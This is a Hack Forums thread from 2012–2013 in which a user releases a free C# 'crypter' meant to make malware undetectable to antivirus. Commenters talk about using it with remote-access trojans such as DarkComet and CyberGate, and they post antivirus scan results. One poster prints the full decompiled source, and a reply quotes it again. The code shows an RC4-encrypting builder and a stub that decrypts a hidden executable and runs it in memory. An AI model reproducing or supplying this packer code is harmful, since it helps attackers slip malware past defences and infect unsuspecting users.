

Forum:[Hack Forums](#)

Thread: [The Mini Crypter `Fast`Smart`Free \[Weekly\]](#)

RichPrince100 - July 24, 2012, 9:41 am

Hey guys Today I decided to release a crypter I made back in the day it was FUD back then now it is UD. The Crypter was coded in C# for those of you wondering.? ?

I will be releasing this every so often as FUD because I plan to add more features to it instead of just encrypting please comment saying what other features you would like to see.

I am looking for a GUI artist who can make an awesome looking GUI and an icon I will give credits in the crypter to them and also a link to there HF profile in the thread ?

Currently confirmed not working with Dark Comet (Probably because its for .net applications Lol)

Virus scans:

Scan of the crypter: <http://www.metascan-online.com/results/scmc1or7kzuo0cwr21iggtgshha3uv37>

Scan of the inputed virus:

<http://www.metascan-online.com/results/ts0n8hfnlkfti0c8an6osc3kynkv7w14>

scan of the outputed virus:

<http://www.metascan-online.com/results/8lbfovn7hwk8q8xzmegg2gf56c0o3456>

Download:

<http://www.mediafire.com/?squt5wa8iji9zon>

All vouches are appreciated as im a new member some people might not trust me.

CryptoMatic - July 24, 2012, 10:23 am

12 kb for a crypter pretty fucking impressive dude ! :) but it is pretty detected :(

I can make gui if you want :)

RichPrince100 - July 24, 2012, 10:24 am

(Jul 24, 2012 10:23 AM)RootKiller Wrote: [\[CITE\]](#) 12 kb for a crypter pretty fucking impressive dude ! :) but it is pretty detected :(

Thanks man I tried to make it as light weight as possible back when I coded it :)

CryptoMatic - July 24, 2012, 10:26 am

What have you coded it in, because if it's c#, I can make gui :).

edit: owh I guess it's vb?

RichPrince100 - July 24, 2012, 10:27 am

(Jul 24, 2012 10:26 AM)RootKiller Wrote: [\[CITE\]](#) What have you coded it in, because if it's c#, I can make gui :)

Yep it is C# :) I can also code a Crypter in c++ but don't like to add me on skype Jamie.Homyer

Defa1t - July 24, 2012, 10:46 am

Didnt work with my fresh Dark Comet rat 0_o

RichPrince100 - July 24, 2012, 10:48 am

(Jul 24, 2012 10:46 AM)snau Wrote: [\[CITE\]](#) Didnt work with my fresh Dark Comet rat 0_o only works on .net frame works :) Idk what dc rat is

Spectruhmz - July 24, 2012, 10:52 am

doesn't work. Watch out might be a backdoor.

D?de - July 24, 2012, 10:54 am

(Jul 24, 2012 10:48 AM)L1sten Wrote: [\[CITE\]](#) only works on .net frame works :) Idk what dc rat is DarkComet RAT is Coded in: Delphi 2010 , Delphi 2007 & Assembly.

RichPrince100 - July 24, 2012, 11:00 am

(Jul 24, 2012 10:52 AM)Spectruhmz Wrote: [\[CITE\]](#) doesn't work. Watch out might be a backdoor. Fuck of dude i spent time coding this crypter i posted virus scans and all if you dont trust me run it in sand box and look at all the info it gives

(Jul 24, 2012 10:54 AM)?Dode Wrote: [\[CITE\]](#) DarkComet RAT is Coded in: Delphi 2010 , Delphi 2007 & Assembly.

thanks Dode might try and make a crypter for Dark comet then :)

Defa1t - July 24, 2012, 11:14 am

(Jul 24, 2012 11:00 AM)L1sten Wrote: [\[CITE\]](#) Fuck of dude i spent time coding this crypter i posted virus scans and all if you dont trust me run it in sand box and look at all the info it gives

thanks Dode might try and make a crypter for Dark comet then :)

If you do, I'm sure alot of people will love you forever

RichPrince100 - July 24, 2012, 11:17 am

(Jul 24, 2012 11:14 AM)snau Wrote: [\[CITE\]](#) If you do, I'm sure alot of people will love you forever Ha ha Ok i will try :) thanks for the comment by the way :D

Not2EXceL - July 24, 2012, 11:35 am

And he posts his virus scans on a site that is questionable whether they distribute or not.

Its in the site, I cant remember where but it states that if an AV wants samples of scanned items, then metascan-online will distribute them.

wordzz - July 24, 2012, 11:55 am

OHH AND FOR CYBERGATE. if you make it work for cybergate, yes, he's right, i will love you forever LOL

wait yo, i juss used your crypter. i pressed the "crypt" button, where is the output file produced? 0.o

RichPrince100 - July 24, 2012, 12:36 pm

(Jul 24, 2012 11:55 AM)wordzz Wrote: [\[CITE\]](#) OHH AND FOR CYBERGATE. if you make it work for cybergate, yes, he's right, i will love you forever LOL

wait yo, i juss used your crypter. i pressed the "crypt" button, where is the output file produced? 0.o
In the same directory as the crypter :)

Reviewer - July 24, 2012, 12:49 pm

L1sten, Listen at me. Why would u try infect others here in HackForums, also i got a look with reflector if it was clean.

Noo.

Please go infect others on other forums you newbie

RichPrince100 - July 24, 2012, 1:01 pm

(Jul 24, 2012 12:49 PM)Reviewer Wrote: [\[CITE\]](#) L1sten, Listen at me. Why would u try infect others here in HackForums, also i got a look with reflector if it was clean.

Noo.

Please go infect others on other forums you newbie

Your obviously I little lair or a shit reverser cause I am not trying to infect others here hack forums is my baby. + you can hardly call me a newbie as your join date is 07-20-2012

CryptoMatic - July 24, 2012, 1:07 pm

Reviewer, I saw the source code, there's no harmful about it at all...

Reviewer - July 24, 2012, 1:09 pm

(Jul 24, 2012 01:01 PM)L1sten Wrote: [\[CITE\]](#) Your obviously I little lair or a shit reverser cause I am not trying to infect others here hack forums is my baby. + you can hardly call me a newbie as your join date is 07-20-2012

Lol umadbro? I already knew about hack before join the Forum!

RichPrince100 - July 24, 2012, 1:10 pm

(Jul 24, 2012 01:09 PM)Reviewer Wrote: [\[CITE\]](#) Lol umadbro? I already knew about hack before join the Forum!

Looool your such a fail and i shared the source with RootKiller so go -edited out-

Reviewer - July 24, 2012, 1:12 pm

(Jul 24, 2012 01:10 PM)L1sten Wrote: [\[CITE\]](#) Looool your such a fail and i shared the source with RootKiller so go die in a hole
PM Teamviewer details ?

King Regards,

Reviewer

RichPrince100 - July 24, 2012, 1:13 pm

(Jul 24, 2012 01:12 PM)Reviewer Wrote: [\[CITE\]](#) PM Teamviewer details ?

King Regards,

Reviewer

lol umadbro! he said it him self on page 2

Reviewer - July 24, 2012, 1:14 pm

I know, just let me see. I wanna see. Why not?

RichPrince100 - July 24, 2012, 1:15 pm

(Jul 24, 2012 01:14 PM)Reviewer Wrote: [\[CITE\]](#) I know, just let me see. I wanna see. Why not? well the codes really simple at the moment so i don't mind if a skid like you see's it

Reviewer - July 24, 2012, 1:16 pm

EDIT: SORRY MATE IS NOT INFECTED! :S

420mcGanjaMan - July 24, 2012, 1:20 pm

(Jul 24, 2012 01:16 PM)Reviewer Wrote: [\[CITE\]](#) Why would rootkiller see it then? Lol !, Ok give me Details and lemme see if FUD.

are you fucking stupid? its not fud he said so himself.

JarrydRats - July 24, 2012, 2:00 pm

top respect for taking the time to code this,if i could +rep you, i would bro thanks :D

Grieve™ - July 24, 2012, 2:40 pm

Crypter is clean. Good job op keep up the good work :)

sKyZ - July 24, 2012, 3:09 pm

Asquared 00:06:58 5.1.0.3 Virus.ILCrypt!IK

Avast 00:06:58 5.0

AVG 00:06:58 10.0.0.1190 ILCrypt

Avira 00:06:58 7.11.7.12 TR/Dropper.Gen

BitDefender 00:06:58 7.0.0.2555 Gen:Variant.Kazy.42058

ClamAV 00:06:58 0.97.4

Comodo 00:06:58 1.0

DrWeb 00:06:58 5.0.2

Fprot 00:06:58 6.0

IkarusT3 00:06:58 T31001097 Virus.ILCrypt

Panda 00:06:58 10.0.3.0

STOPZilla 00:06:58 5.0.0.0

TrendMicro 00:06:58 9.200.0.1012

VBA32 00:06:58 3.12.0.300

Hades10 - July 24, 2012, 3:17 pm

It is FUD runtime & scantime????

thank you!

sKyZ - July 24, 2012, 3:19 pm

(Jul 24, 2012 03:17 PM)Hades10 Wrote: [\[CITE\]](#) It is FUD runtime & scantime????

thank you!

Did you even bother to read any of these posts? Like the one I just posted right before you? Fuck.

RichPrince100 - July 25, 2012, 2:23 am

(Jul 24, 2012 03:19 PM)sKyZ Wrote: [\[CITE\]](#) Did you even bother to read any of these posts? Like the one I just posted right before you? Fuck.

lol haha not many people do though they should really

xaHyeG - February 7, 2013, 10:17 am

nice simple code

PHP Code

<?php

```
private void button1_Click(object sender, EventArgs e)
```

```
{
    OpenFileDialog dialog = new OpenFileDialog();
    if (dialog.ShowDialog() == DialogResult.OK)
    {
        this.txtLinkToFile.Text = dialog.FileName;
    }
}
```

```
private void button2_Click(object sender, EventArgs e)
```

```
{
    ResourceWriter writer = new ResourceWriter("res.resources");
    writer.AddResource("file", this.RC4EncryptDecrypt(File.ReadAllBytes(this.txtLinkToFile.Text),
"ListenKEY"));
    writer.Close();
    CompilerParameters options = new CompilerParameters {
        GenerateExecutable = true,
        OutputAssembly = "encrypted.exe"
    };
    options.ReferencedAssemblies.Add("System.dll");
    options.EmbeddedResources.Add("res.resources");
    options.CompilerOptions = options.CompilerOptions + "/t:winexe";
    CompilerResults results = new CSharpCodeProvider().CompileAssemblyFromSource(options
, new string[] { Resources.Source });
    File.Delete("res.resources");
    foreach (CompilerError error in results.Errors)
    {
        MessageBox.Show(error.ToString());
    }
}
```

```
public byte[] RC4EncryptDecrypt(byte[] bytes, string Key)
```

```
{
    byte num;
    int num2;
    byte[] buffer = Encoding.ASCII.GetBytes(Key);
    byte[] buffer2 = new byte[0x100];
    byte[] buffer3 = new byte[0x100];
    for (num2 = 0; num2 < 0x100; num2++)
    {
        buffer2[num2] = (byte) num2;
        buffer3[num2] = buffer[num2 % buffer.GetLength(0)];
    }
    int index = 0;
    for (num2 = 0; num2 < 0x100; num2++)
    {
        index = ((index + buffer2[num2]) + buffer3[num2]) % 0x100;
        num = buffer2[num2];
        buffer2[num2] = buffer2[index];
    }
}
```

```

buffer2[index] = num;
}
num2 = index = 0;
for (int i = 0; i < bytes.GetLength(0); i++)
{
num2 = (num2 + 1) % 0x100;
index = (index + buffer2[num2]) % 0x100;
num = buffer2[num2];
buffer2[num2] = buffer2[index];
buffer2[index] = num;
int num5 = (buffer2[num2] + buffer2[index]) % 0x100;
bytes[i] = (byte) (bytes[i] ^ buffer2[num5]);
}
return bytes;
}

```

stub in Resources.Source:

PHP Code

```
<?php
```

```
using System;
```

```
using System.Resources;
```

```
class Listen
```

```
{
```

```
static void Main()
```

```
{
```

```
    ResourceManager m = new ResourceManager("res",System.Reflection.Assembly.
GetExecutingAssembly());
```

```
    byte[] b = RC4EncryptDecrypt((byte[])m.GetObject("file"), "ListenKEY");
```

```
    m.ReleaseAllResources();
```

```
    System.Reflection.Assembly.Load(b).EntryPoint.Invoke(null, null);
```

```
    Console.WriteLine("Ran the .NET exe!");
```

```
    Console.Read();
```

```
}
```

```
public static byte[] RC4EncryptDecrypt(byte[] bytes, string Key)
```

```
{
```

```
    byte[] key = System.Text.Encoding.ASCII.GetBytes(Key);
```

```
    byte[] s = new byte[256];
```

```
    byte[] k = new byte[256];
```

```
    byte temp;
```

```
    int i, j;
```

```
    for (i = 0; i < 256; i++)
```

```
    {
```

```
        s[i] = (byte)i;
```

```
        k[i] = key[i % key.GetLength(0)];
```

```
    }
```

```
    j = 0;
```

```
    for (i = 0; i < 256; i++)
```

```
    {
```

```
        j = (j + s[i] + k[i]) % 256;
```

```
        temp = s[i];
```

```

s[i] = s[j];
s[j] = temp;
}

i = j = 0;
for (int x = 0; x < bytes.GetLength(0); x++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
temp = s[i];
s[i] = s[j];
s[j] = temp;
int t = (s[i] + s[j]) % 256;
bytes[x] ^= s[t];
}
return bytes;
}
}

```

xQQ - February 7, 2013, 12:58 pm

(Feb 7, 2013 11:17 AM)dontExpectMe Wrote: [\[CITE\]](#) nice simple code
PHP Code

```

<?php
private void button1_Click(object sender, EventArgs e)
{
    OpenFileDialog dialog = new OpenFileDialog();
    if (dialog.ShowDialog() == DialogResult.OK)
    {
        this.txtLinkToFile.Text = dialog.FileName;
    }
}

private void button2_Click(object sender, EventArgs e)
{
    ResourceWriter writer = new ResourceWriter("res.resources");
    writer.AddResource("file", this.RC4EncryptDecrypt(File.ReadAllBytes(this.txtLinkToFile.Text),
"ListenKEY"));
    writer.Close();
    CompilerParameters options = new CompilerParameters {
GenerateExecutable = true,
OutputAssembly = "encrypted.exe"
};
    options.ReferencedAssemblies.Add("System.dll");
    options.EmbeddedResources.Add("res.resources");
    options.CompilerOptions = options.CompilerOptions + "/t:winexe";
    CompilerResults results = new CSharpCodeProvider().CompileAssemblyFromSource(options
, new string[] { Resources.Source });
    File.Delete("res.resources");
    foreach (CompilerError error in results.Errors)
    {
        MessageBox.Show(error.ToString());
    }
}

```

```
}
```

```
public byte[] RC4EncryptDecrypt(byte[] bytes, string Key)
{
    byte num;
    int num2;
    byte[] buffer = Encoding.ASCII.GetBytes(Key);
    byte[] buffer2 = new byte[0x100];
    byte[] buffer3 = new byte[0x100];
    for (num2 = 0; num2 < 0x100; num2++)
    {
        buffer2[num2] = (byte) num2;
        buffer3[num2] = buffer[num2 % buffer.GetLength(0)];
    }
    int index = 0;
    for (num2 = 0; num2 < 0x100; num2++)
    {
        index = ((index + buffer2[num2]) + buffer3[num2]) % 0x100;
        num = buffer2[num2];
        buffer2[num2] = buffer2[index];
        buffer2[index] = num;
    }
    num2 = index = 0;
    for (int i = 0; i < bytes.GetLength(0); i++)
    {
        num2 = (num2 + 1) % 0x100;
        index = (index + buffer2[num2]) % 0x100;
        num = buffer2[num2];
        buffer2[num2] = buffer2[index];
        buffer2[index] = num;
        int num5 = (buffer2[num2] + buffer2[index]) % 0x100;
        bytes[i] = (byte) (bytes[i] ^ buffer2[num5]);
    }
    return bytes;
}
```

stub in Resources.Source:

PHP Code

```
<?php
```

```
using System;
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using System.Resources;
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```
class Listen
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```
{
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```
static void Main()
```

```
{
```

```
    ResourceManager m = new ResourceManager("res", System.Reflection.Assembly.
    GetExecutingAssembly());
```

```
    byte[] b = RC4EncryptDecrypt((byte[])m.GetObject("file"), "ListenKEY");
```

```
    m.ReleaseAllResources();
```

```
    System.Reflection.Assembly.Load(b).EntryPoint.Invoke(null, null);
```

```
    Console.WriteLine("Ran the .NET exe!");
```

```
    Console.Read();
```

```

}
public static byte[] RC4EncryptDecrypt(byte[] bytes, string Key)
{
    byte[] key = System.Text.Encoding.ASCII.GetBytes(Key);
    byte[] s = new byte[256];
    byte[] k = new byte[256];
    byte temp;
    int i, j;

    for (i = 0; i < 256; i++)
    {
        s[i] = (byte)i;
        k[i] = key[i % key.GetLength(0)];
    }

    j = 0;
    for (i = 0; i < 256; i++)
    {
        j = (j + s[i] + k[i]) % 256;
        temp = s[i];
        s[i] = s[j];
        s[j] = temp;
    }

    i = j = 0;
    for (int x = 0; x < bytes.GetLength(0); x++)
    {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        temp = s[i];
        s[i] = s[j];
        s[j] = temp;
        int t = (s[i] + s[j]) % 256;
        bytes[x] ^= s[t];
    }
    return bytes;
}
}

```

Well what can I say? You just leached the code of a completely free and obviously not reflected tool. He only wanted to do us a favour and you do this. You must be some kind of badass ? Also why do you gravedig?

Sane™ - February 7, 2013, 1:37 pm

Great gravedig guys.

I love it.

NOT!

RichPrince100 - February 8, 2013, 11:41 am

lol I made this when i had absultly no idea how to code and just followed a tutorial and used a few fuding techniques shown to me by a mate haha

Cape - *February 8, 2013, 3:42 pm*

Coding a crypter is not hard but maintaining it to FUD is very hard job. But you did a good job and I will say you good luck in future coding.